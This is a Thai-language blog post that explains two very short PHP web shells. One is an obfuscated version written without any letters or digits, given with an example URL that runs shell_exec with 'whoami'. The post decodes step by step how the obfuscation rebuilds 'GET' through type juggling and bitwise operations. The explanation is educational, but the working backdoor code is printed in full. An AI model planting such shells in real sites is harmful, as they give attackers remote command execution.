หลังจากเมื่อหลายวันก่อน อ่านไปเจอ blog อันนี้
http://h.ackack.net/tiny-php-shell.html
ซึ่งเป็นการเขียนโค้ด PHP Shell โดยพยายามให้มันสั้นที่สุดและพยายามมีตัวอักษรน้อยที่สุด
เขาเขียนได้สั้นมากๆจริง เหลือแค่เพียง
<?=($_=@$_GET[2]).@$_($_GET[1])?>
ซึ่งถึงจะสั้นแล้วก็ตามแต่ก็ยังมีตัวอักษรแบบ Alpha-numeric อยู่ (คือคำว่า "GET" กับ "1","2") ให้พออ่านรู้เรื่องได้อยู่
วันนี้มาเจอ blog ของอีกคนนึง ที่
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/ ซึ่งเป็นที่มาของการเขียน Blog หน้านี้ ก็เพราะว่านาย "The Spanner" เนี่ย โชว์ฝีมือ เขียนมาโดยไม่มีตัวอักษรหรือตัวเลขเลย แบบเนี้ยะ
<?$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>
โดยโค้ดนี้ทำงานได้โดยการใส่ URL เป็นแบบ
s.php?_=shell_exec&__=whoami
แล้วมันอ่านยากขนาดนี้ ก็เลยมานั่งแกะโค้ดแล้วก็เลยมาเขียนวิธีการทำงานของโค้ดนี้ให้อ่านกัน
หลักการทำงานทำงานของโค้ด
ขอแยกอธิบายเป็นสองส่วนตามบรรทัดละกัน เอาส่วนหลังมาอธิบายก่อนด้วย เพราะมันเข้าใจง่ายกว่า
ส่วนหลัง : <?=${'_'.$_}['_'](${'_'.$_}['__']);?>
ตรงนี้ถ้าเกิดแทนที่ $_ ด้วยคำว่า "GET" แล้วจะเห็นได้ชัดเจนเลยว่าคืออะไร
ก็จะกลายเป็น <?=${'_'."GET"}['_'](${'_'."GET"}['__']);?>
กลายเป็น <?=${'_GET'}['_'](${'_GET}['__']);?>
กลายเป็น <?=$_GET['_']($_GET['__']);?>
ก็คือการเรียกฟังก์ชั่น ที่ชื่อ $_GET['_'] (รับชื่อฟังก์ชั่นมาจาก parameter '_' แบบขีดเดียว)
โดยส่งค่าเข้าไปรันคือ $_GET['__'] (รับค่ามาจาก '__' แบบสองขีด)
พอเรียก URL ด้วย s.php?_=shell_exec&__=whoami
ค่าที่ถูกแทนที่ก็จะเป็น
<?=shell_exec('whoami');?>
ส่วนแรก : <?$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
จากส่วนหลัง เราสมมุติไว้ว่า $_="GET" พอคราวนี้ส่วนแรกก็คือการที่จะทำให้ $_ มีค่าเป็น "GET" โดยที่ไม่ต้องใช้ค่าตัวอักษรแม้แต่ตัวเดียวในโค้ด
ขอแบ่งคำสั่งตรงนี้ออกเป็น 4 คำสั่งก่อน ตามเครื่องหมาย semi-colon(;)
$_="";
คำสั่งแรกเป็นการสั่งให้ ตัวแปรชื่อ $_ เป็นตัวแปรชนิด string ที่มีขนาด 0 ตัวอักษร หรือ
string(0)=''
$_[+""]='';
คำสั่งที่ 2 นี้ พยายามที่จะแปลงตัวแปร $_ ให้กลายเป็นตัวแปรชนิด Array โดยการใส่เลขชี้ตำแหน่งลงไป
โดย +"" ในที่นี้มีความหมายเป็น 0 เพราะการเอาstringเปล่า("")ไปนำหน้าด้วยเครื่องหมาย + ก็คือการพยายามแปลง string ให้กลายเป็น int และเมื่อstringตัวนั้นมันว่างเปล่า พอแปลงเป็น int ก็เลยได้เลข 0
คำสั่งนี้จึงหมายถึง
$_[0]='';
ดังนั้นตอนนี้ค่าของ $_ จะเป็น
Array{0=>''}
$_="$_"."";
คำสั่งที่ 3 นี้เป็นการเอาคำว่า "Array" ออกมาใส่ใน $_
โดยวิธีการคือ การใช้เครื่องหมายคำพูดครอบตัวแปรไว้ ("$_") เพื่อบังคับให้ตัวแปรนั้นแสดงค่าออกมาในรูปแบบ string
แต่เนื่องจากตอนนี้ค่าของ $_ นั่นเป็นชนิด Array ไม่ใช่ string, พอเวลาโดน"บังคับแปลง" ก็เลยได้คำว่า "Array" ออกมา
หลังจากนั้นก็จะกลายเป็น
$_="Array"."";
ซึ่งมีผลทำให้ตอนนี้ตัวแปร $_ กลายเป็นชนิดข้อมูล string และมีค่าเป็น "Array" (
string(5)='Array')
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
คำสั่งสุดท้ายก็ไม่ได้มีอะไรมาก ก็คือการแปลงจากคำว่า "Array" ให้ได้มากซึ่งคำว่า "GET"
โดยตอนนี้ตัวอักษรที่มีค่าใกล้เคียงกับ 'G','E','T' มากที่สุด ก็คือตัวอักษร 'A' ซึ่งเป็นอักษรตัวที่ 0 ของ "Array" นั่นเอง
จะเห็นได้จากในคำสั่งนี้จะเห็นว่ามีการใช้ $_[+""] สามครั้งด้วยกัน เพื่อคำนวนออกมาให้ได้ตัวอักษร 'G','E' และ 'T'
ซึ่งตัว $_[+""] นี้ก็หมายถึง $_[0] ซึ่งก็หมายถึงตัว 'A' นั่นเอง ( +"" มีค่าเท่ากับ 0 อธิบายไว้แล้วข้างบน)
พอเรารู้แบบนี้แล้ว โค้ดตรงนี้จะเหลือเพียงแค่
$_=('A'|"").('A'|"").('A'^"");
ปัญหาที่เหลือก็คือ ทำยังไงให้ 'A' กลายเป็น 'G','E','T' ได้
ตรงนี้แนะนำให้เอาโค้ดตัวนี้ไปก๊อปวางในโปรแกรมที่อ่านตัวอักษรพิเศษได้ก่อน (เช่น notepad++)
เพราะจะทำให้เห็นว่า บรรทัดตรงนี้น่ะ มันมีตัวอักษรพิเศษอยู่
คือความจริงแล้วมันเป็น
$_=('A'|"ACK").('A'|"ENQ").('A'^"NAK");
โดยถ้าไปเปิดตาราง ASCII ดูแล้ว (เช่นจาก
http://www.asciitable.com/index/asciifull.gif)
จะเห็นว่าค่ารหัสของ
ACK (Acknowledge) = 6
ENQ (Enquiry) = 5
NAK (Negative-Acknowledge) = 21
ดังนั้นจะทำให้สมการตรงนี้ลดลงเหลือแค่
$_=('A'|6).('A'|5).('A'^21);
(สำหรับใครที่ไม่รู้ เครื่องหมาย | นี้หมายถึง bitwise-OR และ ^ นี้หมายถึง bitwise-XOR หาอ่านวิธีการคำนวนได้จาก Google)
ที่เหลือก็จะเป็นการกระทำทางคณิตศาสตร์ของค่าของ 'A' (ซึ่งมีรหัส ASCII เป็น 65) กับตัวเลขต่างๆ
65|6 = 01000001 | 00000110 = 01000111 = 71 (รหัสASCII ของ 'G')
65|5 = 01000001 | 00000101 = 01000101 = 69 (รหัสASCII ของ 'E')
65^21 = 01000001 ^ 00010101 = 01010100 = 84 (รหัสASCII ของ 'T')
สรุปแล้ว $_='G'.'E'.'T' = 'GET' นั่นเอง